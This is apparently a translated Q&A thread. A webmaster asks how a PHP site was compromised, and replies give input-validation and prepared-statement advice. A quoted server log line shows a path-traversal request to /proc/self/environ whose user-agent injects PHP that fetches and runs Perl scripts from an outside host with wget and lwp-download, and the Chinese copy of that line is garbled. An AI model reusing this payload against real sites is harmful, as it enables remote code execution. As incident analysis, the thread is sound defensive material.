我受到 PHP/脚本注入攻击 - 虚拟问题
我的网站因网络钓鱼而受到攻击。这是一个复杂的网站，但我只使用 post 和 PHP 文件。
他们怎么能攻击我呢？我只使用 $_POST 所以我相信没有 SQL 命令和参数可见。 没有框架，只有我的小编码列表和网站上的访问。
任何提示/建议将不胜感激。
抱歉，如果我没有直接回复，但我正在与阻止整个网站的提供商打交道。
这是他们的答案（欢迎任何评论）：
因为脚本注入攻击站点代码本身，所以它能够完全避免网络服务器的安全。不幸的是，一些内容管理系统（尤其是旧版本的 Joomla）极易受到这种形式的攻击。
消除攻击者使用此方法的能力的一个简单方法是在网站的顶层添加一个包含以下内容的 php.ini 文件 - 但请注意，该网站随后需要进行测试以确保不会合法网站脚本操作已受到更改的影响：
php.ini 指令是...
allow_url_include = "0"
allowed_url_fopen = "0"
更新：
这是我从网络托管公司获得的信息：
121.254.216.170 - - [2011年9月12日:05:21:07 +0100]“获取/?p=../../../../../../../../ ../../../../../../../proc/self/environ%00 HTTP/1.1" 200第5806章etc/cup.txt;perl" rel="nofollow">http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http://some.thesome.com/etc/update.txt;perl update.txt;rm -rf *.txt*');回声“#j13mb0t”； ？>”
My website has been attacked for phishing purposes. It is a complex website however I only use post and PHP files.
How could they attack me? I only use $_POST so I believe no SQL command and parameters are visible. There is no framework just my little coding listing and accessing on the website.
Any hint/suggestion would be appreciated.
Sorry if I don't reply straight but I am dealing with my provider who blocked the whole site.
this is their answer (any comment on it will be welcomed):
Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.
A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the web-site will need testing afterwards to ensure that no legitimate web-site scripted actions have been affected by the change:
The php.ini directives are...
allow_url_include = "0"
allow_url_fopen = "0"
update:
here is what I got from the webhost company:
121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http://some.thesome.com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
如果你对这篇内容有疑问，欢迎到本站社区发帖提问 参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱，如果其他用户或者作者回复了您的评论，将不能在第一时间通知您！
发布评论
评论（3）
POST 请求也可以手动发出，例如使用 cURL。没有人可以阻止人们打开 telnet 终端并手动发出命令，并将任何参数发送到您的网站。
相反，您应该始终保护您的网站并验证输入。无论它们来自 POST、GET 还是其他任何地方。另外，更喜欢使用 PDO 而不是 PHP 中的标准 mysql 函数。
您能否详细说明一下您的网站上发生了什么样的
攻击？POST requests can be issued manually too, using cURL for example. There is no one preventing people from just opening a telnet terminal and issuing the command manually, and sending whatever parameters to your website.
Instead, you should always protect your website, and validate the input. Whether they come from POST, GET or any place else. Also, prefer to use PDO instead of the standard mysql functions in PHP.
Could you elaborate on what kind of
attackhappened on your website?服务器被黑客攻击的方式有很多种。如果不了解有关您的项目或服务器的更多信息，则很难告诉您在您的案例中这是如何发生的。
但有一些提示：
请确保始终对写入数据库的数据进行转义。例如，您可以使用 mysql_real_escape_string() 。除了对您的脚本的攻击之外，您的服务器也可能受到攻击，例如通过 FTP 或 SSH。
除此之外，请始终确保更新您使用的所有流行框架/库。
There are a lot of ways a server can get hacked. It is hard to tell you how it happened in your case without knowing more about your project or server.
But some tips:
Make sure you always escape data that is written into your database. You can use mysql_real_escape_string() for example. Apart from an attack on your scripts, your server could have been attacked as well, for example trough FTP or SSH.
Apart from that, always make sure you update all popular frameworks/libraries you use.
$_POST 不是阻止 sql 攻击的有效方法。您必须对从 $_GET 或 $_POST 接收的所有值使用带有参数的准备好的语句，或者对所有这些参数使用 mysql_real_escape_string 。
$_POST is not a valid method for blocking sql attacks. You have to use prepared statements with parameters for all values, that are received from $_GET or $_POST, or use mysql_real_escape_string for all those parameters.